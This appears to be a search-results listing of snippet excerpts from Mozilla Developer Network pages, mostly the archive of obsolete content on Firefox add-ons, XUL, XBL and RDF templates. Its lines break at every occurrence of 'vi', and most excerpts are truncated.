vicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always embed arbitrary xml anywhere in an svg document.
...actually, in a conforming
viewer it will react in no way at all, the data will simply be omitted.
...And 3 more matches
SVG and CSS - SVG: Scalable Vector Graphics
copy and paste the content from here, making sure that you scroll to get all of it: <svg width="600px" height="600px"
viewbox="-300 -300 600 600" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>svg demonstration</title> <desc>mozilla css getting started - svg demonstration</desc> <defs> <radialgradient id="fade" cx="0" cy="0" r="200" gradientunits="userspaceonuse"> <stop id="fade-stop-1" offset="33%"/> <stop id="fade-stop-2" offset="95%"/> ...
...petals { opacity: .75; --segment-fill-fill: azure; --segment-fill-stroke: lightsteelblue; --segment-fill-stroke-width: 1; --segment-edge-fill: none; --segment-edge-stroke: deepskyblue; --segment-edge-stroke-width: 3; --segment-fill-fill-hover: plum; --segment-fill-stroke-hover: none; --segment-edge-stroke-hover: slateblue; } /* non-standard way of styling elements referenced
via <use> elements, supported by some older browsers */ #outer-petals .segment-fill { fill: azure; stroke: lightsteelblue; stroke-width: 1; } #outer-petals .segment-edge { fill: none; stroke: deepskyblue; stroke-width: 3; } #outer-petals .segment:hover > .segment-fill { fill: plum; stroke: none; } #outer-petals .segment:hover > .segment-edge { stroke: slateblue; } /* inner pet...
...als */ #inner-petals { --segment-fill-fill: yellow; --segment-fill-stroke: yellow; --segment-fill-stroke-width: 1; --segment-edge-fill: none; --segment-edge-stroke: yellowgreen; --segment-edge-stroke-width: 9; --segment-fill-fill-hover: darkseagreen; --segment-fill-stroke-hover: none; --segment-edge-stroke-hover: green; } /* non-standard way of styling elements referenced
via <use> elements, supported by some older browsers */ #inner-petals .segment-fill { fill: yellow; stroke: yellow; stroke-width: 1; } #inner-petals .segment-edge { fill: none; stroke: yellowgreen; stroke-width: 9; } #inner-petals .segment:hover > .segment-fill { fill: darkseagreen; stroke: none; } #inner-petals .segment:hover > .segment-edge { stroke: green; } open the document i...
...And 3 more matches
Subresource Integrity - Web security
it works by allowing you to pro
vide a cryptographic hash that a fetched resource must match.
... note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin ser
ving the resource allows it to be shared with the requesting origin.
... subresource integrity enables you to mitigate some risks of attacks such as this, by ensuring that the files your web application or web document fetches (from a cdn or anywhere) have been delivered without a third-party ha
ving injected any additional content into those files — and without any other changes of any kind at all ha
ving been made to those files.
...And 3 more matches
Communicating With Other Scripts - Archive of obsolete content
<script> tags, either embedded in the page or linked to it using the src attribute, there are a couple of ways a content script can communicate with it: using the dom postmessage() api using custom dom events using the dom postmessage api note that before firefox 31 code in content scripts can't use window to access postmessage() and addeventlistener() and instead must use document.default
view.
...indow.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using postmessage() before firefox 31 if your add-on is running in a version of firefox before firefox 31, then your content script can't access the postmessage() or addeventlistener() apis using window, but must access them using document.default
view instead.
... so the content scripts in the above examples need to be rewritten like this: // content-script.js document.default
view.postmessage("message from content script", "http://my-domain.org/"); // content-script.js document.default
view.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using custom dom events as an alternative to using postmessage() you can use custom dom events to communicate between page scripts and content scripts.
...And 2 more matches
Module structure of the SDK - Archive of obsolete content
except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules which the sdk pro
vides, such as panel and page-mod.
... sdk modules the modules supplied by the sdk are di
vided into two sorts: high-level modules like panel and page-mod pro
vide relatively simple, stable apis for the most common add-on development tasks.
... low-level modules like heritage and namespace pro
vide more powerful functionality, and are typically less stable and more complex.
...And 2 more matches
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk pro
vides high-level javascript apis to simplify many common tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
... restartlessness add-ons built with the sdk can be installed without ha
ving to restart firefox.
... user experience best practices the ui components available in the sdk are designed to align with the usability guidelines for firefox, gi
ving your users a better, more consistent experience.
...And 2 more matches
passwords - Archive of obsolete content
usage a credential is the set of information a user supplies to authenticate herself with a ser
vice.
...you can then use the credentials to access their related ser
vice (for example, by logging into a web site).
...for example, if the realm for a credential is "user registration", then its "site" field will look something like: addon:jid0-01mbbfyu0zaxcfub1jykoostkic (user registration) html form credential if a web ser
vice uses html forms to authenticate its users, then the corresponding credential is an html form credential.
...And 2 more matches
core/heritage - Archive of obsolete content
reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `new` changes // beha
vior, which in majority cases you need to handle, so you end up // with additional boilerplate.
...pet.prototype = object.create(dog.prototype); // if you want correct instanceof beha
vior you need to make a dance with // another special `constructor` property of the `prototype` object.
...this.bark() : ''; }; since sdk apis may be interacting with untrusted code an extra security measures are required to guarantee that documented beha
vior can't be changed at runtime.
...And 2 more matches
ui/button/toggle - Archive of obsolete content
if you specify multiple icons, firefox will select the best-fitting icon based on the de
vice screen resolution and the place the icon appears.
... if you want to change this default beha
vior, you can delete the window-specific state in your button's onchange handler.
... id: "my-button2", label: "my button2", icon: "./firefox-16.png" }); var button3 = togglebutton({ id: "my-button3", label: "my button3", icon: { "16" : "./firefox-16.png", "32" : "./firefox-32.png", "64" : "./firefox-64.png" } }); if you use the final form, firefox will automatically choose the best-fit icon for your button, depending on the de
vice screen resolution and where the button is in the ui.
...And 2 more matches
Getting started (cfx) - Archive of obsolete content
na
vigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "c...
...this file was created for you in the pre
vious step.
... open it and add the following code: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "
visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } save the file.
...And 2 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
llows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and na
vigate to it.
...this makes the code easier to maintain, debug, and re
view.
...in particular, the pagemod constructor takes several additional options to control its beha
vior: by default, content scripts are not attached to any tabs that are already open when the page-mod is created, and are attached to iframes as well as top-level documents.
...And 2 more matches
Unit Testing - Archive of obsolete content
the sdk pro
vides a framework to help create and run unit tests for your code.
... to begin with, create a new directory, na
vigate to it, and run jpm init.
... now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/ser
vices.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
...And 2 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
« pre
viousnext » note: if you want contribute to this document please following guidelines from the contribute page.
... the add-ons manager handles the following tasks: safely installs and uninstalls add-ons makes sure add-ons are compatible with the version of firefox you're using manages a whitelist of sites trusted for installing add-ons helps troubleshoot add-ons by disabling them and offering a safe mode confirms and runs updates pro
vides access to add-ons' settings dialogs pro
vides access to add-ons' support sites development en
vironment amenities initially, there wasn't adequate documentation available, and extension developers were largely left to fend for themselves1; however, now there's a considerable store of knowledge.
... the use the apis of certain web applications to pro
vide certain pieces of information.
...And 2 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
« pre
viousnext » what's a firefox extension?
... firefox pro
vides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser.
...if you're only getting started developing add-ons, the add-ons sdk pro
vides a great way to quickly create simple ones and build on them.
...And 2 more matches
Extensions support in SeaMonkey 2 - Archive of obsolete content
some urls are listed below: url in firefox url in seamonkey overlays chrome://browser/content/browser.xul chrome://na
vigator/content/na
vigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://na
vigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://communicator/content/permis...onsmanager.xul permissions manager dialog urls added in 2.1 ...
...some important menu ids are listed below, menu ids are based on firefox 3 source code: menu id in firefox menu id in seamonkey 1.x and 2.0 seamonkey 2.1 overlays menu_filepopup menu_filepopup menu_filepopup file menu popup menu_editpopup menu_edit_popup menu_editpopup edit menu popup menu_
viewpopup menu_
view_popup menu_
view_popup
view menu popup - gopopup gopopup go menu popup placespopup - - history menu popup bookmarksmenupopup menu_bookmarkspopup menu_bookmarkspopup bookmarks menu popup menu_toolspopup taskpopup taskpopup tools menu popup ...
.../window> thunderbird 3 gfolderdisplay api seamonkey 2.0 only supports a reduced set of methods: selectedcount selectedmessage selectedmessageisfeed selectedmessageisimap selectedmessageisnews selectedmessageisexternal selectedindices selectedmessages selectedmessageuris messagedisplay gmessagedisplay api seamonkey 2.0 only supports a reduced set of methods: displayedmessage
visible javascript tweaks firefox supports some shorthand in various places.
...And 2 more matches
Underscores in class and ID Names - Archive of obsolete content
support realities between mistakes in implementation and changes to the specification, browser beha
vior with regard to underscores is rather convoluted.
... na
vigator 4.x honored the restriction against underscores, and so any class or id name with an underscore will be ignored by na
vigator 4.x, so the associated styles will never be applied.
... opera 3.x through 5.x does not recognize underscores or escaped underscores, and so acts the same as na
vigator 4.x in this regard.
...And 2 more matches
Getting Started - Archive of obsolete content
skin\classic\na
vigator na
vigator contains some icons and styles for all sm components.
...into this directory put a zip archive called my_theme.jar containing na
vigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above.
... (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files icon.png and pre
view.png these are some png images containing the icon and the pre
view of the theme.
...And 2 more matches
Dehydra Function Reference - Archive of obsolete content
gcc command line -fplugin=/path/to/gcc_dehydra.so -fplugin-arg-gcc_dehydra=/path/to/your/script.js callback functions the following functions may be pro
vided by the analysis script and will be called by dehydra while compiling.
...builtin functions the following functions are pro
vided by dehydra and may be called by the user: print(msg) print a string to stdout (or stderr if the compiler is piping output).
...require supports optional named arguments
via javascript object where each parameter is a property.
...And 2 more matches
Metro browser chrome tests - Archive of obsolete content
for information on setting your local build as the default,
visit the windows 8 integration wiki page.
... it is possible to run indi
vidual tests as well.
...a simple test looks like this: gtests.push({ desc: "test loading about:blank", setup: function () { }, teardown: function () { }, run: function () { yield addtab("about:blank"); is(tab.browser.currenturi.spec, "about:blank", "about:blank is loaded"); } }); function test() { runtests(); } gtests contains indi
vidual tests that make up the library of tests your test file will contain.
...And 2 more matches
Microsummary topics - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) programmatically installing a microsummary generator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryser
vice interface implemented by the nsimicrosummaryser
vice component, then call its installgenerator() method, passing it an xml document containing the generator.
... createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefromstring(generatortext, "text/xml"); var microsummaryser
vice = components.classes["@mozilla.org/microsummary/ser
vice;1"].
... getser
vice(components.interfaces.nsimicrosummaryser
vice); var generator = microsummaryser
vice.installgenerator(generatordoc); the ser
vice installs the generator by serializing its xml to a file in the user's profile directory and adding the generator to the ser
vice's in-memory generator cache.
...And 2 more matches
Nanojit - Archive of obsolete content
over
view nanojit is a small, cross-platform c++ library that emits machine code.
...the result of compilation is a function that the application can call from c
via a pointer to the first instruction.
... out.ins0(lir_start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code pro
vided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object.
...And 2 more matches
Plug-n-Hack - Archive of obsolete content
over
view plug-n-hack (pnh) is a proposed standard from the mozilla security team for defining how security tools can interact with browsers in a more useful and usable way.
...configuring a browser to work with a security tool can be a non-tri
vial process, and this can discourage people with less experience from using such tools.
...for example, to configure a browser to use an intercepting proxy that can handle https traffic, the user must typically: configure their browser to proxy
via the tool configure the tool to proxy
via their corporate proxy import the tool’s ssl certificate into their browser if any of these steps are carried out incorrectly then the browser will typically fail to connect to any website – debugging such problems can be frustrating and time-consuming.
...And 2 more matches
Bundles - Archive of obsolete content
since this folder maybe be located in a directory that requires elevated pri
vileges, the web application should not write data to it.
...this can slow the overall launch time and the unpacking is redundant if the bundle has been launched pre
viously.
... this is why the preferred method of launching is to use the "-webapp [webapp-id]" command line, which looks for the pre
viously installed (unpacked) web application in the prism webapps/{webapp-id} folder.
...And 2 more matches
FAQ - Archive of obsolete content
prism is an application that integrates web applications into the desktop en
vironment.
...it is one of the experiments being conducted by mozilla labs to bridge the di
vide in the user experience between web applications and desktop apps.
... prism is the codename for the project, and if the functionality pro
vided by prism becomes a product or is integrated into other products (like firefox), then it won't necessarily continue to be called by this codename.
...And 2 more matches
Safely loading URIs - Archive of obsolete content
chrome: give the loaded page expanded pri
vileges.
... if a web page gets access to a window with such expanded pri
vileges, it may be able to abuse it to gain access to those pri
vileges itself.
... to solve this problem, gecko pro
vides methods that allow the caller to check whether it's safe to load a particular uri.
...And 2 more matches
Supporting per-window private browsing - Archive of obsolete content
getser
vice(components.interfaces.nsiprivatebrowsingser
vice).
...as an example, if an add-on adds a context menu item that accesses an api that requires an nsiloadcontext, the most relevant window is the one that owns the element being targeted by the context menu (element.ownerdocument.default
view).
...function pbobserver() { /* clear private data */ } var os = components.classes["@mozilla.org/observer-ser
vice;1"] .getser
vice(components.interfaces.nsiobserverser
vice); os.addobserver(pbobserver, "last-pb-context-exited", false); preventing a private session from ending if there are unfinished transactions invol
ving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to prevent the session from ending (prompting the user is r...
...And 2 more matches
Venkman Internals - Archive of obsolete content
gijskruitbosch 05:41, 7 march 2007 (pst) venkman-debugger.js sets hooks in to the jsdidebuggerser
vice.
... scriptmanager in initdebugger() the pre
vious loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager.
...this method is set into jsdiscripthook.onscriptcreated venkman-
views.js
views are the panels shown within the venkman window.
...And 2 more matches
Binding Attachment and Detachment - Archive of obsolete content
an indi
vidual url in the set consists of the binding document's url and the binding's document-unique identifier.
... whenever an element is removed from a document, any bindings attached
via css loaded by the document will be detached.
... for example, given a bound element with a binding chain of d1->d2 ->d3 ->s1 ->s2 ->s3 withs1 representing the binding attached
via css.
...And 2 more matches
XBL - Archive of obsolete content
see also: xbl removal design re
view packet, problems with xbl and the xbl and web components comparison.
...the element that the binding is attached to, called the bound element, acquires the new beha
vior specified by the binding.
... an over
view of differences between mozilla xbl and xbl2 is in a newsgroup posting by jonas sicking (april, 2007).
...And 2 more matches
XML in Mozilla - Archive of obsolete content
supported core xml w3c recommendations the core xml support includes parsing xml without validation (we use the expat parser), displaying xml with css, manipulating xml documents with scripts
via dom, associating stylesheets with xml documents, and namespaces in xml.
...slt xpath w3c recommendation xslt xmlhttprequest w3c recommendation xml extras request api (no longer supported) mozilla add-on sdk domparser and xmlserializer mozilla xml extras sax sax soap (no longer supported) w3c note web ser
vices xml-rpc (no longer supported) userland software xml-rpc rdf w3c recommendations rdf svg w3c recommendation svg animation (smil) w3c recommendation mathml w3c recommendation mathml p3p (no longer supported) w3c recommendation ...
... p3p wsdl (no longer supported) w3c note web ser
vices xbl mozilla's xbl reference xul mozilla's xul reference roadmap next big tasks would include support for xpointer xpointer() scheme (bug 32832), xinclude (bug 201754), xml catalogs (bug 98413), xforms (bug 97806; work being done on implementing this as an extension), validating parser (bug 196355) and xml schemas.
...And 2 more matches
Creating XPI Installer Modules - Archive of obsolete content
what follows is a very brief over
view of the design and a description of what mozilla expects in installable packages.
...since we are not updating the mozilla ui to pro
vide special access to this window (e.g., an item in the tasks menu or elsewhere), the measure of the success of the installation of the barley package is that the user can, as before, invoke our software by using a special startup option: mozilla -chrome chrome://barley/content this option tells mozilla to load a chrome other than the default, which is the main browser window.
...package creation over
view this tutorial describes the following sequence of steps for creating a new package: developing the resources organizing the resources creating the contents.rdf file making the barley install script creating a xpi you can examine (or install!) the package described here by downloading the barley xpi file and using a zip unarchiver[zip] to open it.
...And 2 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
over
view of the install script xpi install scripts are written in javascript using xpinstall engine syntax defined in the xpinstall api reference.
... for registering software with the win32 operating system, the xpinstall api pro
vides two special install objects, winprofile and winreg.
... these two objects pro
vide programmatic access to the windows user profile and the windows registry, respectively.
...And 2 more matches
Menus - Archive of obsolete content
menu_
viewpopup the menupopup associated with the '
view' menu.
... menu_
viewsidebarmenu the menupopup for the 'sidebar' submenu on the '
view' menu.
...w window links context-openlinkintab opens a link in a new tab links context-bookmarklink bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-
viewimage
views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the d...
...And 2 more matches
International characters in XUL JavaScript - Archive of obsolete content
this means that such script files can use any character from
virtually any language of the world.
...by default this will use utf-8, which can represent
virtually all characters in the world.
... if the script file is loaded
via http, the http header can contain a character encoding declaration as part of the content-type header, for example: content-type: application/javascript; charset=utf-8 if no charset parameter is specified, the same rules as above apply.
...And 2 more matches
MenuItems - Archive of obsolete content
<keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="
view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key attribute.
...itself, but one level lower: <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> #add-bookmark { list-style-image: url('addbookmark.png'); } #add-bookmark .menu-iconic-icon { -moz-image-region: rect(0px, 16px, 16px, 0px) !important; } #add-bookmark:hover .menu-iconic-icon { -moz-image-region: rect(16px, 16px, 32px, 0px) !important; } this beha
vior is fundamentally different to other html elements, such as <li> or <div> where list-style-image and -moz-image-region can be applied at the same element level.
...the user can select the menu item to switch the toolbar
visibility.
...And 2 more matches
PopupEvents - Archive of obsolete content
an over
view of these is listed below: contextmenu this event is fired when a request is made to open a context menu, whether by the keyboard or mouse.
... popupshowing this event is fired on a menupopup, panel or tooltip just before it is made
visible.
... popupshown this event is fired on a menupopup, panel or tooltip once it is
visible on screen.
...And 2 more matches
Property - Archive of obsolete content
« xul reference accessible accessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builder
view buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle content
view content
vieweredit content
viewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi cust...
...omtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue description dir disableautocomplete disableautocomplete disableautoselect disabled disablekeyna
vigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearchi...
...ng iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocument
viewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup minwidth minute minuteleadingzero mode month monthleadingzero name next nomatch notificationshidden object observes onfirstpage onlastpage open ordinal orient pack pagecount pageid pageincrement pageindex pagestep parentcontainer palette persist persistence placeholder pmindicator popup popupboxobject popupopen position predicate preferenceelements preferencepanes preferences priority radiogroup readonly readonly ref resource res...
...And 2 more matches
Bindings - Archive of obsolete content
« pre
viousnext » we can add more triples to the pre
vious example to show more information.
...<query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the pre
vious triple.
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="
view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated.
...And 2 more matches
Introduction - Archive of obsolete content
the template builder loads an rdf datasource using the rdf ser
vice in the same way as you would create a datasource through the rdf ser
vice directly.
... the datasource is loaded
via its url.
... some rdf datasources are pro
vided with mozilla -- their url's start with 'rdf:'.
...And 2 more matches
Multiple Rules - Archive of obsolete content
« pre
viousnext » all of the examples shown so far have used only a single rule.
...com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> <rule> <where subject="?title" rel="equals" value="canal"/> <action> <button uri="?photo" image="?photo" label="
view" orient="vertical"/> </action> </rule> <rule> <action> <image uri="?photo" src="?photo"/> </action> </rule> </template> </hbox> this template contains a query with two rules.
...the second rule does not contain a where element, so it matches results unconditionally, or any result that wasn't matched by a pre
vious rule.
...And 2 more matches
RDF Query Syntax - Archive of obsolete content
« pre
viousnext » let's look at a simple query with two statements.
...it indicates that we are going to use a starting point when na
vigating the graph.
... ob
viously, since you need to start somewhere, you will have to use a content tag and it should be the first statement.
...And 2 more matches
Using Recursive Templates - Archive of obsolete content
« pre
viousnext » you may recall that templates generate content recursively.
...the same query is executed again but using the groups generated from the pre
vious execution of the query.
...the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new content is inserted inside the content generated from the pre
vious iteration.
...And 2 more matches
XML Assignments - Archive of obsolete content
« pre
viousnext » sometimes, you will want to use a more complex substitution apart from just taking an attribute from the xml.
...xpath pro
vides syntax to retrieve this using the built-in string-length method.
...if a variable is used in the action that doesn't correspond to one declared in an assign element, the default beha
viour is to take the corresponding attribute on the result node.
...And 2 more matches
Code Samples - Archive of obsolete content
change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" document .getelementbyid("content") .webna
vigation .loaduri(url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page.
... change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" var uri = components .classes["@mozilla.org/network/simple-uri;1"] .getser
vice(components.interfaces.nsiuri) uri.spec = url components .classes["@mozilla.org/uriloader/external-protocol-ser
vice;1"] .getser
vice(components.interfaces.nsiexternalprotocolser
vice) .loadurl(uri) compose an e-mail to compose an e-mail, use the same code as in the section open a web page above.
...otherwise it opens the window: const name = "...internal name of the window..." const uri = "...chrome uri of the window..." var w = components .classes["@mozilla.org/appshell/window-mediator;1"] .getser
vice(components.interfaces.nsiwindowmediator) .getmostrecentwindow(name) if (w) w.focus() else components .classes["@mozilla.org/embedcomp/window-watcher;1"] .getser
vice(components.interfaces.nsiwindowwatcher) .openwindow(null, uri, name, "chrome,resizable", null) change the first two lines to specify the window that you want to open.
...And 2 more matches
Adding Buttons - Archive of obsolete content
« pre
viousnext » in this section, we will look at how to add some simple buttons to a window.
... some examples of buttons example 1 : source
view <button label="normal"/> <button label="disabled" disabled="true"/> the examples above will generate the buttons in the image.
... <button id="find-button" label="find"/> note: firefox does not allow you to open chrome windows from web pages, so the
view links in the tutorial will open in normal browser windows.
...And 2 more matches
Adding HTML Elements - Archive of obsolete content
« pre
viousnext » now that we've added some buttons, let's add some other elements.
...example 1 : source
view <html:p> search for: <html:input id="find-text"/> <button id="okbutton" label="ok"/> </html:p> this code will cause the text 'search for:' to be displayed, followed by an input element and an ok button.
...a dialog with a check box example 2 : source
view <html:p> click the box below to remember this decision.
...And 2 more matches
Additional Install Features - Archive of obsolete content
« pre
vious this section describes some more specifics of installers.
... installer file manipulation the pre
vious section described a basic installer.
...for example, you may want to install a package only when certain conditions are met, such as ha
ving a particular library installed.
...And 2 more matches
Groupboxes - Archive of obsolete content
« pre
viousnext » this section describes a way to include elements into groups groupboxes the groupbox element is used to group related xul elements together, much like the html fieldset element is used to group html elements.
...a simple groupbox example the example below shows a simple groupbox: example 1 : source
view <groupbox> <caption label="answer"/> <description value="banana"/> <description value="tangerine"/> <description value="phone booth"/> <description value="kiwi"/> </groupbox> this will cause four pieces of text to be displayed surrounded by a box with the label answer.
...example 2 : source
view <groupbox flex="1"> <caption> <checkbox label="enable backups"/> </caption> <hbox> <label control="dir" value="directory:"/> <textbox id="dir" flex="1"/> </hbox> <checkbox label="compress archived files"/> </groupbox> in this example, a checkbox has been used as a caption.
...And 2 more matches
Persistent Data - Archive of obsolete content
« pre
viousnext » this section describes how to save the state of a xul window.
...conveniently, xul pro
vides such a mechanism to save the state of a window.
...persist attribute to allow the sa
ving of state, you simply add a persist attribute to the element which holds a value you want to save.
...And 2 more matches
Simple Menu Bars - Archive of obsolete content
« pre
viousnext » in this section, we'll see how to create a menu bar with menus on it.
...xul does have some special elements which pro
vide special functionality typical of menus.
... menuitem an indi
vidual command on a menu.
...And 2 more matches
Stack Positioning - Archive of obsolete content
« pre
viousnext » this section will describe how to position items in a stack.
... example 1 : source
view <stack> <button label="goblins" left="5" top="5"/> <button label="trolls" left="60" top="20"/> <button label="vampires" left="10" top="60"/> </stack> the stack here contains three elements, each positioned at the coordinates given by the left and top attributes.
...it is always sized so that all of the child elements are
visible (excluding any children with -moz-stack-sizing: ignore).
...And 2 more matches
Toolbars - Archive of obsolete content
« pre
viousnext » a toolbar is usually placed along the top of a window and contains a number of buttons that perform common functions.
...a simple toolbar inside a toolbox source
view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> </toolbar> </toolbox> this has created a toolbar containing two buttons, a back button and a forward button.
...inside it are placed the indi
vidual toolbar items, usually buttons, but they can be other elements.
...And 2 more matches
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box which pro
vides scroll arrows along its edges for scrolling through the contents of the box.
... attributes clicktoscroll, disabled, smoothscroll, tabindex properties disabled, scrollboxobject, scrollincrement, smoothscroll, tabindex methods ensureelementis
visible, scrollbyindex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button la...
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...And 2 more matches
listitem - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
menu - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
menuseparator - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...be aware, however, that some elements, such as textbox will display the value
visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
... for user editable menulist elements, the contents, as
visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
tab - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...however, if this attribute is used, this beha
vior is overridden, and the tab will always be linked to a specific panel.
... pending type: boolean this attribute is set to true if the tab is currently in the process of being restored by the session store ser
vice.
...And 2 more matches
toolbar - Archive of obsolete content
the chromeclass-toolbar class may be used to create a toolbar where its
visibility depends on the toolbar flag when opening the window with the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name.
...sses chromeclass-toolbar examples <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton id="nav-users" accesskey="u" label="users"/> <toolbarbutton id="nav-groups" accesskey="p" label="groups"/> <toolbarbutton id="nav-events" accesskey="e" label="events" disabled="true"/> </toolbar> </toolbox> attributes autohide type: boolean when set to true, the toolbar will be in
visible unless the alt key is pressed by the user.
... when set to false, the default, the toolbar is
visible.
...And 2 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
xulrunner 1.8.0.1 is the first stable developer pre
view release of xulrunner.
... it pro
